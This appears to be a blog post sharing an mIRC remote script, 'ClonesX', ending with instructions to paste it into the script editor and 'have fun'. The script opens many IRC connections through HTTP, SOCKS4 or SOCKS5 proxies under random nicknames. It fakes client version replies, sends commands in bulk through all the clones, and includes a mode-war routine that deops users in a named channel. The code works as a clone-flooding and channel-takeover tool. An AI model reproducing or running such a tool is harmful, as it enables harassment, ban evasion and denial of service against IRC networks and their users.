If ($2 == MODE) && (-ooo* iswm $4) && ($3 == #Maldivians) { SockWrite -nt $SockName Mode $3 -o $remove($Gettok($1,1,33),:) | .timero $+ $rand(1,99999) 1 $rand(1,25) SockWrite -nt $SockName Mode $3 +oooooo $5- }
;If ($2 == MODE) && (-o* iswm $4) && ($3 == #Maldivians) { SockWrite -nt $SockName Mode $3 +o $5- }
;If ($2 == MODE) && (+o* iswm $4) && ($3 == #Maldivians) { SockWrite -nt $SockName Mode $3 -o $5- }
}
}
}
alias P.Cloning.do.saSockN {
Var %I = 1
While ($P.Cloning.r(%I)) {
If ($Gettok($P.Cloning.r(%I),2,44) == $1) { Return $hget(P.Cloning.a,%I).item }
Inc %I
}
}

Alias -l P.Cloning.con.com { If ($hget(P.Cloning.a)) { hdel P.Cloning.a $1 } }

On *:SOCKOPEN:P.Cloning.*: {
If ($Dialog(p.cloning)) {
Var %P.Cloning.server = $Did(p.cloning,10)
Var %P.Cloning.port = $Did(p.cloning,12)
If ($sockerr != 0) { P.Cloning.con.com $SockName | p.clon.stats Disconnected: %P.Cloning.server %P.Cloning.port -Session Start- | P.Cloning.cmds }
Else {
If ($Did(p.cloning,47).Text == Normal) { P.Cloning.usIn $SockName }
Elseif ($Did(p.cloning,47).Text == Proxy) {
SockWrite $SockName CONNECT %P.Cloning.server $+ : $+ %P.Cloning.port HTTP/1.0 $+ $CRLF $+ $CRLF
SockWrite $SockName $CRLF
.timerUs. [ $+ [ $SockName ] ] 1 2 P.Cloning.usIn $SockName
}
Elseif ($Did(p.cloning,47).Text == Socks 4) {
Var %P.Cloning.port1 = $Gettok($longip(%P.Cloning.port),3,46)
Var %P.Cloning.port2 = $Gettok($longip(%P.Cloning.port),4,46)
Var %P.Cloning.portS4 = $Gettok($longip(%P.Cloning.port),3,46) $Gettok($longip(%P.Cloning.port),4,46)
Var %P.Cloning.serverS4 = $replace(%P.Cloning.server,.,$chr(32))
bset &P.Cloning.ssenndd 1 4 1 %P.Cloning.portS4 %P.Cloning.serverS4 $CRLF
SockWrite $SockName &P.Cloning.ssenndd
}
Elseif ($Did(p.cloning,47).Text == Socks 5) {
bset &P.Cloning.ssenndd 1 5 1 0
SockWrite $SockName &P.Cloning.ssenndd
}

}

}
}

Alias -l P.Cloning.cmds {
If ($Dialog(p.cloning)) {
P.Cloning.nicks.act
If ($Did(p.cloning,314).enabled == $False) && ($Did(p.cloning,41).Text > 0) {
Did -e p.cloning 314 | Did -e p.cloning 316 | Did -e p.cloning 320 | Did -e p.cloning 18 | Did -e p.cloning 31 | Did -e p.cloning 17
Did -e p.cloning 322 | Did -e p.cloning 324 | Did -e p.cloning 326 | Did -e p.cloning 328 | Did -e p.cloning 29
Did -e p.cloning 329 | Did -e p.cloning 331 | Did -e p.cloning 333 | Did -e p.cloning 339 | Did -e p.cloning 31
Did -e p.cloning 334 | Did -e p.cloning 335 | Did -e p.cloning 336 | Did -e p.cloning 337 | Did -e p.cloning 27
Did -e p.cloning 372 | Did -e p.cloning 373 | Did -e p.cloning 369 | Did -e p.cloning 368 | Did -e p.cloning 25
Did -e p.cloning 367 | Did -e p.cloning 351 | Did -e p.cloning 350 | Did -e p.cloning 349 | Did -e p.cloning 23
Did -e p.cloning 415 | Did -e p.cloning 416 | Did -e p.cloning 418 | Did -e p.cloning 419 | Did -e p.cloning 20
Did -e p.cloning 371 | Did -e p.cloning 412 | Did -e p.cloning 783 | Did -e p.cloning 11 | Did -e p.cloning 13 | Did -e p.cloning 16
}
Elseif ($Did(p.cloning,314).enabled == $True) && ($Did(p.cloning,41).Text <= 0) || ($Did(p.cloning,41).Text == $null) {
Did -r p.cloning 314 | Did -r p.cloning 316 | Did -r p.cloning 320 | Did -r p.cloning 783 | Did -r p.cloning 23
Did -r p.cloning 322 | Did -r p.cloning 324 | Did -r p.cloning 326 | Did -r p.cloning 328 | Did -r p.cloning 13
Did -r p.cloning 329 | Did -r p.cloning 331 | Did -r p.cloning 339 | Did -r p.cloning 351 | Did -r p.cloning 16
Did -r p.cloning 369 | Did -r p.cloning 373 | Did -b p.cloning 306 | Did -b p.cloning 307 | Did -r p.cloning 17
Did -b p.cloning 309 | Did -b p.cloning 310 | Did -b p.cloning 311 | Did -b p.cloning 20 | Did -r p.cloning 31
Did -b p.cloning 314 | Did -b p.cloning 316 | Did -b p.cloning 320 | Did -b p.cloning 23 | Did -r p.cloning 29 | Did -b p.cloning 17
Did -b p.cloning 322 | Did -b p.cloning 324 | Did -b p.cloning 326 | Did -b p.cloning 328 | Did -r p.cloning 18
Did -b p.cloning 329 | Did -b p.cloning 331 | Did -b p.cloning 333 | Did -b p.cloning 339 | Did -b p.cloning 24
Did -b p.cloning 334 | Did -b p.cloning 335 | Did -b p.cloning 336 | Did -b p.cloning 337 | Did -b p.cloning 25
Did -b p.cloning 372 | Did -b p.cloning 373 | Did -b p.cloning 369 | Did -b p.cloning 368 | Did -b p.cloning 27
Did -b p.cloning 367 | Did -b p.cloning 351 | Did -b p.cloning 350 | Did -b p.cloning 349 | Did -b p.cloning 28
Did -b p.cloning 415 | Did -b p.cloning 416 | Did -b p.cloning 418 | Did -b p.cloning 419 | Did -b p.cloning 29
Did -b p.cloning 312 | Did -b p.cloning 330 | Did -b p.cloning 371 | Did -b p.cloning 412 | Did -b p.cloning 31
Did -b p.cloning 783 | Did -b p.cloning 11 | Did -b p.cloning 13 | Did -b p.cloning 18 | Did -b p.cloning 15 | Did -b p.cloning 16
}
}
}

Alias -l P.Cloning.do.saNick { Return $Gettok($hget(P.Cloning.a,$1),2,44) }
Alias -l P.Cloning.do.saSockN {
Var %I = 1
While ($P.Cloning.r(%I)) {
If ($Gettok($P.Cloning.r(%I),2,44) == $1) { Return $hget(P.Cloning.a,%I).item }
Inc %I
}
}

Alias -l P.Cloning.runcmd {
If ($Dialog(p.cloning)) {
If ($Did(p.cloning,334).state == 1) {
Var %I = 1
While ($Did(p.cloning,339,$Did(p.cloning,339,%I).sel).Text) {
Var %P.Cloning.runcmd.nick = $IfMatch
If ($1 == nick) {
If (!$Did(p.cloning,339,2).sel) { SockWrite -nt $P.Cloning.do.saSockN(%P.Cloning.runcmd.nick) $1 $iif($2 == Random,$RandNick($Rand(4,10)),$2) }
Else { SockWrite -nt $P.Cloning.do.saSockN(%P.Cloning.runcmd.nick) $1 $iif($2 == Random,$RandNick($Rand(4,10)),$2) $+ $rand(a,z) $+ $rand(a,z) }
}
Else { SockWrite -nt $P.Cloning.do.saSockN(%P.Cloning.runcmd.nick) $1- }
Inc %I
}
return
}
Elseif ($Did(p.cloning,333).state == 1) { Var %P.Cloning.runcmd.idL = 339 }
Elseif ($Did(p.cloning,335).state == 1) { Var %P.Cloning.runcmd.idL = 351 }
Elseif ($Did(p.cloning,336).state == 1) { Var %P.Cloning.runcmd.idL = 369 }
Elseif ($Did(p.cloning,337).state == 1) { Var %P.Cloning.runcmd.idL = 373 }
}
Var %I = 1
While ($Did(p.cloning,%P.Cloning.runcmd.idL,%I).Text) {
Var %P.Cloning.runcmd.nick = $IfMatch
If ($1 == nick) {
If (!$Did(p.cloning,%P.Cloning.runcmd.idL,2)) { SockWrite -nt $P.Cloning.do.saSockN(%P.Cloning.runcmd.nick) $1 $iif($2 == Random,$RandNick($Rand(4,10)),$2) }
Else { SockWrite -nt $P.Cloning.do.saSockN(%P.Cloning.runcmd.nick) $1 $iif($2 == Random,$RandNick($Rand(4,10)),$2) $+ $rand(a,z) $+ $rand(a,z) }
}
Else { SockWrite -nt $P.Cloning.do.saSockN(%P.Cloning.runcmd.nick) $1- }
Inc %I
}
}
Alias -l P.Cloning.list.nicksch {
If ($Dialog(p.cloning)) {
Var %I = 1
Var %o = 1
While ($P.Cloning.r(%I)) {
Var %P.Cloning.list.nicksch.sta = $Gettok($IfMatch,1,44)
Var %P.Cloning.list.nicksch.nick = $Gettok($IfMatch,2,44)
If (%P.Cloning.list.nicksch.sta) {
If ($exists($1) == $False) { P.Cloning.fal Archivo no encontrado! }
Var %P.Cloning.list.nicksch.nnick = $Gettok($read($1,%o),1,32)
If (%P.Cloning.list.nicksch.nnick) {
If ($abs(%P.Cloning.list.nicksch.nnick)) { P.Cloning.fal Nicklist Cannot be in that Format. File format: Nick [Ident] }
SockWrite -nt $hget(P.Cloning.a,%I).item nick %P.Cloning.list.nicksch.nnick
}
Inc %O
}
Inc %I
}
}
}
Alias -l P.Cloning.list.save {
If ($Dialog(p.cloning)) {
Var %I = 1
.remove $1
While ($Did(p.cloning,339,%I).Text) { write $1 $IfMatch | Inc %I }
}
}
Alias -l P.Cloning.nicks.act {
If ($Dialog(p.cloning)) {
Did -r p.cloning 339
Var %I = 1
Var %o = 1
While ($P.Cloning.r(%I)) {
Var %P.Cloning.nicks.act = $Gettok($IfMatch,1,44)
Var %P.Cloning.nicks = $Gettok($IfMatch,2,44)
If (%P.Cloning.nicks.act == 1) { Did -i p.cloning 339 %o %P.Cloning.nicks | Var %o = %o + 1 }
Inc %I
}
}
}
Alias -l P.Cloning.usIn {
If ($Dialog(p.cloning)) {
If (%P.Cloning.Nlist.conn == 1) {
Inc %P.Cloning.Nlist.conn.n
Var %P.Cloning.usIn.nick = $Gettok($read(%P.Cloning.Nlist.conn.f,%P.Cloning.Nlist.conn.n),1,32)
Var %P.Cloning.usIn.ident = $lower($Gettok($read(%P.Cloning.Nlist.conn.f,%P.Cloning.Nlist.conn.n),2,32))
If (%P.Cloning.usIn.nick) && ($abs(%P.Cloning.usIn.nick)) { P.Cloning.fal Nicklist Cannot be in that Format. File format: Nick [Ident] }
If ($Sock($1)) { SockWrite -nt $1 user $lower($iif(%P.Cloning.usIn.ident,%P.Cloning.usIn.ident,$iif($Did(p.cloning,37).Text == Random,$RandNick($Rand(4,10)),$Did(p.cloning,37).Text))) "" "" : $+ $RandNick($Rand(4,10)) $+ $RandNick($Rand(4,10)) }
Else { .sockclose $1 | P.Cloning.con.com $1 | p.clon.stats Disconnected: $Did(p.cloning,10) $Did(p.cloning,12) -Blocked- | P.Cloning.cmds }
Var %P.Cloning.usIn.nick = $lower($iif(%P.Cloning.usIn.nick,%P.Cloning.usIn.nick,$iif($Did(p.cloning,37).Text == Random,$RandNick($Rand(4,10)),$Did(p.cloning,37).Text $+ $rand(0,9999)))))
P.Cloning.do.w $1 0, $+ %P.Cloning.usIn.nick
If ($Sock($1)) { SockWrite -nt $1 nick %P.Cloning.usIn.nick }
Else { .sockclose $1 | P.Cloning.con.com $1 | p.clon.stats Disconnected: $Did(p.cloning,10) $Did(p.cloning,12) -Blocked- | P.Cloning.cmds }
}
Else {
If ($Did(p.cloning,35).state == 1) {
If ($Sock($1)) { SockWrite -nt $1 user $lower($iif($Did(p.cloning,37).Text == Random,$RandNick($Rand(4,10)),$Did(p.cloning,37).Text)) "" "" : $+ $RandNick($Rand(4,10)) $+ $RandNick($Rand(4,10)) }
Else { .sockclose $1 | P.Cloning.con.com $1 | p.clon.stats Disconnected: $Did(p.cloning,10) $Did(p.cloning,12) -Blocked- | P.Cloning.cmds }
Var %P.Cloning.usIn.nick = $lower($iif($Did(p.cloning,37).Text == Random,$RandNick($Rand(4,10)),$Did(p.cloning,37).Text)) $+ $+ $rand(a,z) $+ $rand(a,z)
P.Cloning.do.w $1 0, $+ %P.Cloning.usIn.nick
If ($Sock($1)) { SockWrite -nt $1 nick %P.Cloning.usIn.nick }
Else { .sockclose $1 | P.Cloning.con.com $1 | p.clon.stats Disconnected: $Did(p.cloning,10) $Did(p.cloning,12) -Blocked- | P.Cloning.cmds }
}
Elseif ($Did(p.cloning,36).state == 1) {
If ($Sock($1)) { SockWrite -nt $1 user $lower($iif($Did(p.cloning,38).Text == Random,$RandNick($Rand(4,10)),$Did(p.cloning,38).Text)) "" "" : $+ $RandNick($Rand(4,10)) $+ $RandNick($Rand(4,10)) }
Else { .sockclose $1 | P.Cloning.con.com $1 | p.clon.stats Disconnected: $Did(p.cloning,10) $Did(p.cloning,12) -Blocked- | P.Cloning.cmds }
Var %P.Cloning.usIn.nick = $lower($iif($Did(p.cloning,38).Text == Random,$RandNick($Rand(4,10)),$Did(p.cloning,38).Text)) $+ $+ $rand(a,z) $+ $rand(a,z)
P.Cloning.do.w $1 0, $+ %P.Cloning.usIn.nick
If ($Sock($1)) { SockWrite -nt $1 nick %P.Cloning.usIn.nick }
Else { .sockclose $1 | P.Cloning.con.com $1 | p.clon.stats Disconnected: $Did(p.cloning,10) $Did(p.cloning,12) -Blocked- | P.Cloning.cmds }
}
}
}
}
On *:SOCKCLOSE:P.Cloning.*: {
If ($Dialog(p.cloning)) {
;echo -s Ha cerrado: $Sock($SockName,1).wsmsg
P.Cloning.con.com $SockName | p.clon.stats Disconnected: $Did(p.cloning,10) $Did(p.cloning,12) -Access has Distance- | P.Cloning.cmds
}
}
Alias -l P.Cloning.w { hadd -m P.Cloning.a $1 $2 }
Alias -l P.Cloning.r { Return $hget(P.Cloning.a,$hget(P.Cloning.a,$1).item) }
Alias -l P.Cloning.do.w { P.Cloning.w $1 $2 }
Alias -l P.Cloning.dos.numCL {
Var %I = 1 | Var %o = 0
While ($P.Cloning.r(%I)) {
Var %P.Cloning.pill = $IfMatch
If ($Gettok(%P.Cloning.pill,1,44) == 1) { Var %o = %o + 1 }
Inc %I
}
If ($1 == 0) { Return $calc(%I - 1) }
Elseif ($1 == 1) { Return %o }

}
Alias -l P.Cloning.ipports {
If ($Dialog(P.Cloning.ipport)) { Dialog -v P.Cloning.ipport }
Else { Dialog -md P.Cloning.ipport P.Cloning.ipport }
}
Dialog P.Cloning.ipport {
Title "ClonesX Connected IPs and Ports"
Size -1 -1 312 456
Option Pixels
Edit "", 3, 8 8 298 410, read multi hsbar vsbar
Button "&Refresh List", 4, 6 422 298 28
}
Alias -l P.Cloning.ipports.act {
If ($Dialog(P.Cloning.ipport)) {
Did -r P.Cloning.ipport 3
Var %I = 1
While ($Sock(P.Cloning.*,%I)) {
Var %P.Cloning.ipports.act = $IfMatch
Var %P.Cloning.ipports.act.ip = $Sock(%P.Cloning.ipports.act).ip
Var %P.Cloning.ipports.act.port = $Sock(%P.Cloning.ipports.act).port
If ($Gettok($hget(P.Cloning.a,%P.Cloning.ipports.act),1,44) == 1) && (!$Didwm(P.Cloning.ipport,3,%P.Cloning.ipports.act.ip %P.Cloning.ipports.act.port)) {
Did -i P.Cloning.ipport 3 $Did(P.Cloning.ipport,3).lines %P.Cloning.ipports.act.ip %P.Cloning.ipports.act.port
}
Inc %I
}
}
}
On *:Dialog:P.Cloning.ipport:sclick:4: { P.Cloning.ipports.act }
On *:Dialog:P.Cloning.ipport:init:0: { P.Cloning.ipports.act }
On *:Dialog:P.Cloning.errD:init:0: { Did -a $DName 1 %P.Cloning.errD }
on *:START: { Unset %P.Cloning.* | Set %p.cloining.wh $script }
on *:LOAD: { Unset %p.cloning* | Unset %p.save.cloning* | Unset %p.act.cloning* }
Alias -l P.Cloning.fal { Var %A $Input($1-,o,ClonesX) | Halt }
Alias RandNick {
If ($1 == 3) { Return $R(a,z) $+ $R(a,z) $+ $R(a,z) }
If ($1 == 4) { Return $R(a,z) $+ $R(a,z) $+ $R(a,z) $+ $R(a,z) }
If ($1 == 5) { Return $R(a,z) $+ $R(a,z) $+ $R(a,z) $+ $R(a,z) $+ $R(a,z) }
If ($1 == 6) { Return $R(a,z) $+ $R(a,z) $+ $R(a,z) $+ $R(a,z) $+ $R(a,z) $+ $R(a,z) }
If ($1 == 7) { Return $R(a,z) $+ $R(a,z) $+ $R(a,z) $+ $R(a,z) $+ $R(a,z) $+ $R(a,z) $+ $R(a,z) }
If ($1 == 8) { Return $R(a,z) $+ $R(a,z) $+ $R(a,z) $+ $R(a,z) $+ $R(a,z) $+ $R(a,z) $+ $R(a,z) $+ $R(a,z) }
If ($1 == 9) { Return $R(a,z) $+ $R(a,z) $+ $R(a,z) $+ $R(a,z) $+ $R(a,z) $+ $R(a,z) $+ $R(a,z) $+ $R(a,z) $+ $R(a,z) }
If ($1 == 10) { Return $R(a,z) $+ $R(a,z) $+ $R(a,z) $+ $R(a,z) $+ $R(a,z) $+ $R(a,z) $+ $R(a,z) $+ $R(a,z) $+ $R(a,z) $+ $R(a,z) }
}
Alias VReply {
If ($1 == 1) { Return mIRC32 v5.9 K.Mardam-Bey }
If ($1 == 2) { Return mIRC32 v5.91 K.Mardam-Bey }
If ($1 == 3) { Return mIRC32 v5.71 K.Mardam-Bey }
If ($1 == 4) { Return mIRC 6.01 Khaled Mardam-Bay }
If ($1 == 5) { Return mIRC 6.02 Khaled Mardam-Bay }
If ($1 == 6) { Return mIRC 6.03 Khaled Mardam-Bay }
If ($1 == 7) { Return mIRC v6.12 Khaled Mardam-Bey }
If ($1 == 8) { Return mIRC v6.14 Khaled Mardam-Bey }
If ($1 == 9) { Return mIRC v6.15 Khaled Mardam-Bey }
If ($1 == 10) { Return mIRC v6.16 Khaled Mardam-Bey }
If ($1 == 11) { Return xchat 1.8.1 Linux 2.4.7-10 [i686/451MHz] }
If ($1 == 12) { Return xchat 2.0.7 Linux 2.6.5-1.358 [i686/3.01GHz] }
If ($1 == 13) { Return xchat 1.8.9 Linux 2.4.9-e.35smp [i686/1667MHz/SMP] }
If ($1 == 14) { Return xchat 2.0.7 Linux 2.6.5-7.104-default [i686/1.41GHz] }
If ($1 == 15) { Return PnP 4.22 - http://www.pairc.com/ }
}

-------------------------------------------------------------------

paste into remote script editor
running command : just type //Dialog -md p.cloning p.cloning

have fun

0 komentar:

Posting Komentar